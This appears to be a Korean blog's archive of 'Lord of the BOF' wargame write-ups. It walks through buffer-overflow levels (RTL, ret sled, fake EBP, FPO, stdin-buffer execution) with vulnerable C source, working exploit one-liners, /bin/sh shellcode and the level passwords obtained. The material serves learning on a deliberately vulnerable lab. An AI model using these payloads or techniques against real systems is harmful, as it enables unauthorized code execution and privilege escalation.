'Wargame Writeup/LOB(Redhat)'에 해당하는 글 20건

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
main()
{
    char buffer[40];
    char *ret_addr;
 
    // overflow!
    fgets(buffer, 256stdin);
    printf("%s\n", buffer);
 
    if(*(buffer+47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
    if(*(buffer+47== '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }
 
    // check if the ret_addr is library function or not
    memcpy(&ret_addr, buffer+444);
    while(memcmp(ret_addr, "\x90\x90"2!= 0)    // end point of function
    {
        if(*ret_addr == '\xc9'){        // leave
            if(*(ret_addr+1== '\xc3'){    // ret
                printf("You cannot use library function!\n");
                exit(0);
            }
        }
        ret_addr++
    }
 
        // stack destroyer
        memset(buffer, 044);
    memset(buffer+4800xbfffffff - (int)(buffer+48));
 
    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-300003000-40);
}
cs


Wargame BOF 원정대 문제 소스코드.


스택 영역 사용 불가능! 코드 영역 사용 불가능! 라이브러리 영역까지 사용 불가능?!

그리고 뜬금없이 arg가 아닌 stdin 입력?!


대체 shellcode를 주입할 수 있는걸까? 세 군데 다 필터링 해버리는데.

세 군데 다? 그런데 왜 라이브러리 영역은 \x40이 아니라 \x90\x90으로 필터링한걸까?


두 가지 힌트를 조합해보자!



stdin이란, 표준입력 파일 스트림이다. 표준 입력을 이야기할 때 흔히 '버퍼'를 이야기한다.

즉, stdin은 입력 버퍼를 가지고 있다. 그 곳을 찾아보자!

우리가 입력한 문자열이 남아있는 곳은 그 곳 뿐이다.



fgets의 마지막 인자는 stdin이었다. 즉, fgets를 위해 push되는 인자 중 스택 특성상 가장 처음 것이 바로 stdn이다.

stdin=*(0x08049a3c)

그 값을 확인해보면



stdin은 0x401068c0이라는 것을 확인할 수 있다.

다시 추적해보면



stdin 내 값을 확인할 수 있다.

사실 x/x stdin 명령어를 통해서도 접근할 수 있다.


http://hacksg.tistory.com/35


위 블로그에 stdin 구조체에 대해 잘 설명되어있다. 자세한 내용이 궁금하다면 참조하자.

필요한 내용만 요약하자면

stdin+4는 어디까지 읽었는지, stdin+8은 얼마나 입력받았는지, stdin+12는 stdin 시작 주소가 어딘지를 의미한다.



fgets 함수 수행 후 printf 함수에 bp를 걸고, continue 하였다.

AAAA를 입력하니

stdin+4,8,12 값이 변했다.



0x40015000을 확인해보니, 우리가 입력한 문자열이 들어가있다.

fgets는 문자열 끝이 \n, gets 등은 문자열 끝이 \00으로 terminate 된다.



xavius 프로세스의 maps 파일을 통해 각 영역에 대한 권한을 확인해보니, stdin 영역은 실행 권한(x)이 없다.

하지만, maps 파일의 내용이 100% 정확하지는 않다. 한번 시도는 해보자.



nop과 \xcc(break instruction)을 pipe를 통해 stdin에 입력해주었다.

nop을 넣어주는 이유는, 코드에서 memcmp가 nop*2가 나올 때까지 while 문이 돌기 때문이다.

nopnop이 없으면 memcmp에서 seg fault가 발생한다.

ret는 0x40015001으로 변조하여 NULL 문자가 없는 주소로 하였다.

pipe를 사용해서, seg fault 메시지가 출력되지는 않지만, core 파일은 생성된다.

gdb로 core dump를 확인해보니 \xcc에서 프로그램이 멈췄다.

SEG FAULT가 아니고 SEG TRAP이 발생했다.


결론은, stdin에서 실행이 된다는 것이다.



모든 정보를 확인했으니, nop+shellcode+ret를 통해 exploit을 시도하자!

필자는 24 byte 쉘코드기 때문이 nop을 20 바이트 넣어줬다.

cat를 넣어주는 이유는 cobolt 레벨에서 설명했다. EOF 방지.


시도해보니 exploit이 성공했다! 이제 원본 파일의 쉘을 따내보자.

심볼릭 링크는 필요없다. 라이브러리 영역이기 때문에 주소가 변하지 않는다..


1
(python -'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat) | ./xavius
cs



1
2
3
4
5
6
7
8
9
10
[nightmare@localhost dirxavius]$ cd
[nightmare@localhost nightmare]$ (python -'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat) | ./xavius 
1￐h//shh/bin⏓ᙰ
              ̀P@
 
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
my-pass
euid = 519
throw me away
cs


xavius의 패스워드는 throw me away


stdin과 버퍼에 대한 이해가 필요한 문제였다!



'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB succubus -> nightmare  (0) 2015.11.18
LOB zombie_assassin -> succubus  (0) 2015.11.18
LOB assassin -> zombie_assassin  (0) 2015.11.18
LOB giant -> assassin  (0) 2015.11.18
LOB bugbear -> giant  (0) 2015.11.18

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/



문제 소스 코드.

RET 영역을 strcpy@PLT 로 변조해야 하는 문제다.

strcpy 함수가 종료되면 코드의 마지막 dangerous waterfall 부분에서 (2번째)RET 영역을 AAAA로 변조해버린다.


strcpy 함수를 통해서 AAAA로 덮어씌워진 RET 영역을 shellcode의 주소로 덮어씌워서 문제를 해결하자.


<strcpy address>



gdb를 통해 strcpy 함수의 주소가 0x08048410임을 확인했다.


<strcpy argument value>


strcpy 함수를 우리가 원하는대로 이용하려면, 두 개의 인자를 전달해야 한다.

첫째는 AAAA로 덮어진 RET 영역의 주소.

둘째는 shellcode의 주소가 씌어진 주소.


즉, 우리는 메모리 상에 shellcode와, 'shellcode의 주소'를 삽입해야한다.

이에 환경변수를 이용했다.



ssaemo 변수는 쉘코드의 주소

ssaemo2 변수는 nop+shellcode로 선언했다.


<payload 구성>


그리고 페이로드를 작성했다.

dummy + &strcpy@plt + ret(AAAA) + dst addr + src addr

dst addr은 ret 영역이 될 것이고

src addr은 ssaemo 변수에 쓴 shellcode의 주소가 될 것이다.(현재는 0xffffffff로 선언)


tmp 디렉토리로 바이너리 파일을 카피해와서 core dump를 통해 각각의 주소를 확인했다.

우리가 확인해야 할 주소는 총 3가지

ret의 주소, shellcode의 주소를 쓴 ssaemo의 주소, shellcode의 주소(ssaemo 변수에 쓸)



x/8x $esp를 통해 ret 영역을 확인했다(0xbfffd360)

바로 다음에 각각 CCCC, DDDD로 덮어씌운 dst addr, src addr도 확인된다.


x/1000s 0xbffff800의 명령어로 메모리에서 환경변수를 찾아볼 수 있었다.

ssaemo 변수의 주소는 변수명을 제외 0xbffffc83

ssaemo2 변수의 주소는 nop 중의 아무 곳이나 상관 없으므로 0xbffffa58로 선택했다.


먼저, ssaemo 변수의 값을 shellcode의 주소 0xbffffa58로 재선언 해줘야 한다.

그리고 페이로드를 수정하여 exploit 시도!



[succubus@localhost dirnightmare]$ export ssaemo=`python -c 'print "\x58\xfa\xff\xbf"'`

[succubus@localhost dirnightmare]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x60\xd3\xff\xbf"+"\x83\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB`Կ¿ 

bash$


쉘을 따내는 데 성공했으므로, 심볼릭 링크로 원본 파일에 exploit을 시도하자!


<exploit>



[succubus@localhost dirnightmare]$ ln -sf ~/nightmare nightmare 

[succubus@localhost dirnightmare]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x60\xd3\xff\xbf"+"\x83\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB`Կ¿ 

bash$ id

uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)

bash$ my-pass

euid = 518

beg for me

bash$


nightmare의 패스워드는 beg for me


피드백/질문 대 환영!


written by ssaemo

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB nightmare -> xavius  (2) 2015.11.19
LOB zombie_assassin -> succubus  (0) 2015.11.18
LOB assassin -> zombie_assassin  (0) 2015.11.18
LOB giant -> assassin  (0) 2015.11.18
LOB bugbear -> giant  (0) 2015.11.18

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously 

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


// olleh!

system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

if(check != 1)

exit(0);


printf("welcome to the GYE!\n");

check = 2;

}


void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}


// check address

addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // stack destroyer

// 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


소스가 길어서..

함수 순서대로 호출하고 system 함수 호출하는 레벨.

ROP 개념을 연습해보는 문제다.


그러려면 함수 주소를 알아야겠지?


<함수 주소>


.

readelf -s ./succubus | grep FUNC


심볼 테이블을 출력하는 명령어.

함수명만 grep 했다.(필터링)

gdb보다 빨리 찾을 수 있다.


<payload 구성>


 ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\xff\xff\xff\xff"'`

함수들을 순서대로 호출하고

마지막 MO 함수의 RET는 BBBB로 덮고

MO 함수의 매개인자 cmd, 즉 system 함수에 쓰일 cmd의 주소는 \xff\xff\xff\xff로 덮어놨다.


이제 남은 일은 cmd의 주소를 &/bin/sh로 덮어씌우는 것이다.

문제 소스 코드에서 메모리를 모두 초기화 해 버리고 라이브러리 영역을 못 쓰게 했지만

잘 보면 buffer 중 104 바이트만이 초기화 되지 않았다.

무슨 말이냐? 우리의 페이로드 중 dummy 'A'*44는 초기화 되고, 그 이후 104 byte는 초기화 되지 않았다.

즉, /bin/sh를 입력할 공간이 버퍼에 충분히 있다는 것이다. 이게 가장 쉬운 방법이다.

이제 페이로드 뒤에 /bin/sh를 입력하고 코어 덤프를 확인해보자.

코어 덤프를 확인하기 위해서는 바이너리 파일을 tmp 디렉토리로 카피해야 한다.





cp succubus /tmp

cd /tmp

 ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\xff\xff\xff\xbf"+"/bin/sh"'`

gdb -q -c core

x/1000s $esp-40



0xbffffa78에서 /bin/sh를 찾을 수 있다.

<여담>

필자의 경우, 페이로드를 ~ "BBBB" "\x01\xfd\xfd\xbf" 로 입력하였더니

/bin/sh이 짤려보였다. 왜 짤린 것일까? 확인해보니



\xfd라는 문자에 의해 문자열이 '짤려보이는 것'이었다.

실제로 잘린 것은 아니다.


여담은 이 정도로 하고, 이제 바로 exploit을 시도하면 된다.


<exploit>



[zombie_assassin@localhost /tmp]$ ln -sf ~/succubus succubus 

[zombie_assassin@localhost /tmp]$ ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x78\xfa\xff\xbf"+"/bin/sh"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.BBBBx�in/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$ id

uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)

bash$ my-pass

euid = 517

here to stay

bash$


쉘을 따냈다!

succubus의 패스워드는 here to stay



'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB nightmare -> xavius  (2) 2015.11.19
LOB succubus -> nightmare  (0) 2015.11.18
LOB assassin -> zombie_assassin  (0) 2015.11.18
LOB giant -> assassin  (0) 2015.11.18
LOB bugbear -> giant  (0) 2015.11.18

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/


소스코드. FEBP 문제라고 한다.

FEBP = Fake EBP

FPO와 상당히 유사하다.


라이트업 작성 중, 이전 레벨들에서 설명한 개념들은 생략하고 쓰도록 하겠다.


EBP Overwrite+RET->Leave-ret->shellcode(in stack)

형식으로 exploit을 시도해보자.


leave-ret가 뭐에요?

정상적인 leave 명령은 이전 스택 프레임의 EBP를 찾아 가기 위한 명령이다.

esp를 ebp로 mov 시키고

pop하여 ebp를 이전 스택 프레임의 EBP 위치로 되돌린다.

ESP는 pop을 통해 자연스레 +4 된다.

이후 ret 명령은 우리가 알고있는대로 pop eip로써

EIP 값을 조정한다.


< 그림 >


페이로드는 다음과 같다.


&shellcode*10(총 40바이트) + FEBP + &leave-ret


shellcode는 스택에 싣는다.

FEBP를 덮을 값은 &buffer-4.

leave-ret의 주소는 gdb-disas main을 통해 알 수 있다.


이제 주소값을 얻어보자.


<buf, shellcode address 찾기>


mkdir /tmp/dirassassin

cd /tmp/dirassassin

cp ~/zombie_assassin .


./zombie_assassin `python -c 'print "A"*40+"BBBB"+"CCCC"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`


seg fault를 발생시키고 core dump를 보자.



x/20x $esp-80


0x41로 덮어진 버퍼를 찾을 수 있다.

좀 더 높은 주소에서 \x90+shellcode를 찾을 수 있다.



buf와 febp에 덮을 주소는 찾았다.

leave-ret의 주소를 찾아보자.


<GDB-leave-ret>


gdb -q ./zombie_assassin

disas main


자, 이제 페이로드를 완성 시킬 수 있다.


exploit을 시도해보자.


<exploit>




[assassin@localhost dirassassin]$ ./zombie_assassin `python -c 'print "\xd0\xd5\xff\xbf"*10+"\x40\xd3\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿@Կ¿߄ 

bash$ exit

exit

[assassin@localhost dirassassin]$ ln -sf ~/zombie_assassin zombie_assassin 

[assassin@localhost dirassassin]$ ./zombie_assassin `python -c 'print "\xd0\xd5\xff\xbf"*10+"\x40\xd3\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿@Կ¿߄ 

bash$ id

uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)

bash$ my-pass

euid = 516

no place to hide

bash$


zombie_assassin의 패스워드는 no place to hide

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB succubus -> nightmare  (0) 2015.11.18
LOB zombie_assassin -> succubus  (0) 2015.11.18
LOB giant -> assassin  (0) 2015.11.18
LOB bugbear -> giant  (0) 2015.11.18
LOB darkknight -> bugbear  (0) 2015.11.15

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/


소스코드.

라이브러리 영역과 스택 영역을 사용할 수 없다.

이 문제는 ret sled를 통해 너무도 쉽게 해결할 수 있다.

ret sled는 앞번 문제에서 이미 개념을 설명했었다.


http://ssaemo.tistory.com/entry/LOB-darkknight-bugbear


위를 참고하여 exploit을 시도해보자.


다음과 같이 exploit이 성공할 수 있다.


assassin의 패스워드는 pushing me away

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB zombie_assassin -> succubus  (0) 2015.11.18
LOB assassin -> zombie_assassin  (0) 2015.11.18
LOB bugbear -> giant  (0) 2015.11.18
LOB darkknight -> bugbear  (0) 2015.11.15
LOB golem -> darkknight  (0) 2015.11.14

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/



난이도가 조금 있는 문제다.

소스코드를 살펴보니 execve 함수를 사용해야한다.


<execve addr 얻기>


execve 함수의 주소를 찾으려면 해당 파일을 gdb로 열어야 하지 않을까?

execve 함수의 주소를 찾기 위해 해당 파일에 접근하려 했으나, 권한이 없었다.

그럼 execve 함수의 주소는 어떻게 알아내야 하는걸까?



사실 라이브러리의 주소는 어떤 바이너리에서 열든 동일하기 때문에

다른 바이너리 파일에서 execve 함수의 주소를 알아낼 수 있다.

cp ~/giant .

gdb -q ./giant

b main

r

p execve


주소를 페이로드로 입력할 시 \x0a가 사용되어야한다는 점을 기억해두자.


<execve를 통한 exploit payload>

일단 페이로드는 A*44 + &execve 가 완성되었다.

어떤 부분을 보충해야할까? 우선 execve 함수를 살펴보자.


소스코드에서 execve 함수로 쉘을 실행하려면

execve("/bin/sh", argv, env);

와 같은 형태이다.

이 때, argv[0]="/bin/sh"이어야 한다.

리눅스의 명령 프로그램을 실행할 때(/bin/ls, /bin/sh 등) argv[0]이 /bin/sh가 아니면 seg fault가 발생하기 때문이다.

environment는 NULL이어도 된다.


즉, execve("/bin/sh", {"/bin/sh", NULL} , NULL) 형태가 되어야 한다.


또한 argv[1]이 NULL이 되어야한다. 이 또한 지켜지지 않으면 seg fault(argv[1]이 없음을 표시해야함)

이 조건을 만족시키기 위하여 우리는 파일이름을 &"/bin/sh"로 사용한다.

메모리의 가장 끝이 NULL이기 때문이다.

메모리의 가장 끝이 NULL인 이유는 환경변수의 마지막이 NULL이기 때문이다. 위에서 설명한 argv[1]=NULL과 같은 이유.

그리고 /bin/sh는 환경변수에 넣어주자. 드디어 환경변수를 사용한다. 이번 레벨에서는 환경변수가 편리한 것 같아서.

마지막, env는 NULL을 넣어주면 된다고 했다. 그러나, 페이로드상 0x00000000을 넣어주는 건 불가능하므로

NULL이 아닌 &NULL을 넣어주자. 위에 말한 메모리의 가장 끝이 NULL이므로 그 NULL의 주소를 넣어주면 된다.

무슨 말인지 모르겠으면 페이로드를 보면 이해가 될것이다.

NULL이나, &NULL이나 똑같다는 것이다.

env=NULL이냐 env[0]=NULL이냐의 차이일 뿐.


<이 인자들을 execve에 어떻게 전달할 수 있는걸까?>

RET 영역을 통해 execve가 실행되는 순간

RET 영역은 EBP가 된다.

그리고 자동적으로 RET 영역+4가 EBP+4, 즉 새로운 RET(execve 함수 종료 후의 RET)가 된다.

이후 EBP+8, EBP+12, EBP+16이 각각 매개변수가 된다.

EBP+08 : &"/bin/sh"

EBP+12 : &argv

EBP+16 : NULL

이 되는 것이다.

페이로드는 다음과 같다.


A*44 + &execve + RET + &/bin/sh + &argv + &NULL

RET 영역은 쉘 실행에 영향이 없으므로 아무 값으로 덮는다.


<execve의 인자 addr 얻기>

개념적으로는 정리가 되었고, 이제 환경을 셋팅해보자.

/bin/sh를 환경변수에 넣어주고

core를 통해 파일이름과 /bin/sh의 주소를 확인해야한다.


export ssaemo="/bin/sh"

cp ~/giant.c .

vi giant.c

### execve addr check 부분 삭제 ###

gcc -o `python -c 'print "\xff\xff\xff\xff"'` giant.c


./`python -c 'print "\xff\xff\xff\xff"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\xff\xff\xff\xff"+"\xff\xff\xff\xff"+"\xfc\xff\xff\xbf"'`"


gdb -q -c core


바이너리 파일이 아니라 소스코드를 복사해왔다. 복사해온 파일에는 assassin 파일을 read할 권한이 없기 때문에

해당 부분을 삭제해주기 위하여.

파일명을 \xff\xff\xff\xff로 하여 컴파일하였다.

이유는 exploit을 시도할 때와 동일한 환경(길이)을 구성해주기 위해서다.


그리고 녹색 음영 처리해 준 ""는, `python ~ `을 감쌈으로써 페이로드의 끊김을 막기 위한 따옴표이다.

페이로드 중 \x0a가 있는데, \n(new line)을 의미하는 값으로써 사용하면 \x00처럼 페이로드를 끊게 된다.

하지만 \x00과 다른 점은, 더블 쿼터 ""로 감싸줌으로써 \n도 인자의 일부로써 포함시켜버릴 수 있다.

중요한 정보이니 알아두자!


자, 이제 인자로 쓸 주소들을 확인해보자.



x/1000s 0xbffff800


환경변수들의 주소를 대충 유추하여 메모리를 찾아보았다.

메모리 끝에 있기 때문에.

/bin/sh와 파일이름+NULL을 찾았다.



/bin/sh의 주소는 0xbffffc87

파일이름의 주소는 0xbffffff7

그리고 0xbffffffb는 NULL(argv[1])이 될 것이다.

이제 필요한 값들을 얻었으니 exploit을 시도해보자.



[bugbear@localhost dirgiant]$ gcc -o `python -c 'print "\xff\xff\xff\xff"'` giant.c 

[bugbear@localhost dirgiant]$ mv `python -c 'print "\xff\xff\xff\xff"'` `python -c 'print "\x87\xfc\xff\xbf"'`

[bugbear@localhost dirgiant]$ ./`python -c 'print "\x87\xfc\xff\xbf"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\x87\xfc\xff\xbf"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"

ldd: /home/giant/assassin: No such file or directory

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH 

@BBBB逿¿

bash$ exit

exit

[bugbear@localhost dirgiant]$ ln -sf ~/giant `python -c 'print "\x87\xfc\xff\xbf"'`

[bugbear@localhost dirgiant]$ ./`python -c 'print "\x87\xfc\xff\xbf"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\x87\xfc\xff\xbf"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH 

@BBBB逿¿

bash$ id

uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)

bash$ my-pass

euid = 514

one step closer

bash$ exit

exit

[bugbear@localhost dirgiant]$


16진수 오타가 안나오도록 조심하자.

빨간 박스는 &/bin/sh

파란 박스는 &argv. 파일이름의 주소. /bin/sh의 주소가 쓰여있는 곳이다.

녹색박스는 NULL의 주소이다.

shell 실행에 성공하여 심볼릭 링크로 원본의 쉘을 따냈다.


giant의 패스워드는 one step closer

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB assassin -> zombie_assassin  (0) 2015.11.18
LOB giant -> assassin  (0) 2015.11.18
LOB darkknight -> bugbear  (0) 2015.11.15
LOB golem -> darkknight  (0) 2015.11.14
LOB skeletom -> golem  (1) 2015.11.14

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/


<문제 소스코드>

스택 영역을 사용할 수 없는 문제이다.

RTL을 이용하라고 명시되어있다.

RTL이란, Return-to-Libc의 약자로, Returen Address를 공유 라이브러리로 돌림으로써

라이브러리 함수를 통해 쉘을 실행시키는 기법이다.

메모리 방지 기법 중 DEP가 등장한 후 이를 우회하기 위한 기법으로 등장하였다.

라이브러리 함수로 쉘을 어떻게 실행시키느냐? system, exec* 함수를 이용하면 가능하다.


그런데 그전에... 이 문제는 사실 더 쉬운 방법이 있다.

고로 이번 포스팅에서는 총 두 가지 기법을 소개하려한다.



<ret sled>

첫 번째로 소개할 기법은 ret sled 기법이다.(RTL이 아님) 잘 사용되지는 않지만 RTL 개념 이해에 도움지 되지 않을까....?

스택영역으로 RET를 덮어씌울 수 없으므로, return address에 RET 명령의 주소를 쓰는 것이다.

용어가 같으므로 '명령'과 '영역'을 헷갈리지 마시길.

원래의 페이로드는 dummy+&shellcode+shellcode

ret sled의 페이로드는 dummy+&RET+&shellcode+shellcode

ret sled의 흐름도는


1. ESP가 ret를 가리키고 있다.

2. 정상적인 RET 명령이 수행되면서 ESP는 +4 된다.

3. 우리의 의도대로 RET 명령이 '한 번 더' 실행된다. 이 때 RET 명령으로 점프하게 되는 주소가 shellcode의 주소이다.

4. shellcode가 실행된다.


이런 식으로 \xbf를 제한적으로 한 번 필터링하는 것을 우회할 수 있다.


나중에 ROP(Return Oriented Programming)에 사용하게 될 pop-pop-ret 가젯도 이와 상당히 비슷한 흐름을 가진다.



위와 같이 간단하게 쉘을 획득할 수 있다.

다른 방법으로 JMP ESP도 있다. 가젯의 주소를 알아내야한다는 번거로움이 있을 뿐. 어쨌든.

그래도.. 이번 문제 의도가 RTL이라고 써있고 하니 더 중요한 기법인 RTL을 통해서도 문제를 풀어보자.


<RTL - system>



main 함수 실행 직전에 bp를 건다. 라이브러리를 메모리에 올리기 위해서이다.

우리가 이용할 수 있는 함수는 다양하지만, system 함수가 가장 활용하기 쉬운 함수이므로 system 함수를 사용하자.



우리는 ret 영역을 &system로 overwrite 하고, system("/bin/sh")의 기능을 수행하게 만들면 된다.

즉, system 함수의 인자로 "/bin/sh" 주면 된다. 더 정확하게는, 인자로 "/bin/sh" 문자열의 주소를 줘야한다.

그 인자의 주소는 바로 ebp+8이다.

왜 하필 ebp+8일까? 다음을 보자!



main 함수의 ebp부터 4*4바이트의 메모리를 출력한 것이다.

main 함수의 인자는 argc, argv 총 두개.

앞의 0x00000002는 argc에 해당 하고 주소는 ebp+8이다.

뒤의 0xbffffb24는 argv이고 주소는 ebp+12이다.

ebp+4는 무엇인가? 알다시피 ret address다.

그래서 ebp+8에 인자가 들어가게된다.


이제 페이로드를 구성해보자.



페이로의 기본 구성은 dummy+&system+dummy(4)+&/bin/sh이다.

필자는 /bin/sh를 인자 뒤에 넣었다. 필자는 이제까지의 문제풀이에 환경변수를 사용하지 않았다.

매개인자가 더 편해서.

core 파일에서 esp 레지스터와 멀지 않은 곳에서 /bin/sh의 주소를 알아냈다.

알아낸 주소로 페이로드를 수정하고, exploit을 시도하여 쉘 실행에 성공했다.


<exploit>



심볼릭 링크로 원본에 exploit하여 패스워드를 알아낼 수 있었다.

bugbear의 패스워드는 new divide

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB giant -> assassin  (0) 2015.11.18
LOB bugbear -> giant  (0) 2015.11.18
LOB golem -> darkknight  (0) 2015.11.14
LOB skeletom -> golem  (1) 2015.11.14
LOB vampire -> skeleton  (0) 2015.11.14

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/


<문제 소스코드>


FPO를 이용하는 문제이다.

FPO란 무엇일까?

오랜만에 그림 설명을 사용하겠다!




SFP는 이전 스택 프레임의 EBP이 저장되어 있다.그리고 SFP의 바로 다음은 RET 어드레스가 저장되어 있는 것을 우리는 알고 있다.

Stack Frame Pointer인지 Saved Frame Pointer인지, 후자가 더 실제 용도에 가깝다고 생각되지만 때에 따라 두 용어 모두 사용된다.

즉, EBP가 변하면 RET 영역은 EBP+4이므로 함께 변하게 된다.


SFP가 1 byte overwrite가 가능하다.

->EBP를 조작할 수 있다.

->RET 영역을 조작할 수 있다.

->shellcode를 실행할 수 있다.

여기서 RET 영역을 조작할 수 있다는 의미는, 정확히 말하면

이전 문제들에서 RET 영역에 직접 shellcode를 적었던 것과는 반대로

shellcode의 주소를 적어놓고 SFP를 변조해 그 곳으로 RET 영역을 옮기는 것이다.


이전에는 RET 변조 -> SHELL 실행이었다면

이번에는 FPO -> RET 변조 -> SHELL 실행인 것이다.


shellcode의 주소를 적어놓을 곳은 buffer가 될 것이다. 오직 1 바이트만 오버플로우가 발생하기 때문에 다른 곳은 불가능하다.

shellcode는 다양한 영역에 삽입할 수 있다. 버퍼든, 매개인자든, 환경변수든 등등.




problem_child 함수 종료 전, 스택 프레임을 정리하기 전에 bp를 걸자.



프로그램 실행 후

현재 ebp가 0xbffffabc이므로

0xbffffa00부터 메모리를 출력해봤다.

1 바이트만 변조가 가능한 상황에서 우리가 EBP를 움직일 수 있는 공간은 0xbffffa00~0xbfffffff이기 때문이다.

사진을 보면 인자로 전달한 0x41이 메모리에 strncpy를 통해 카피되어 있고, SFP(현재 EBP)도 1 바이트 0x41로 변조된 것이 확인된다.


FPO 설명은 여기서 마치겠다.

개념은 다른 글에서 더 자세히 친절하게 다룰 것이다.


개념 이해 후 쉘코드의 주소를 찾아보자.


<shellcode address>



./darkknight `python -c 'print "\xff\xff\xff\xff"*10+"\xcc"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`


gdb -q -c core


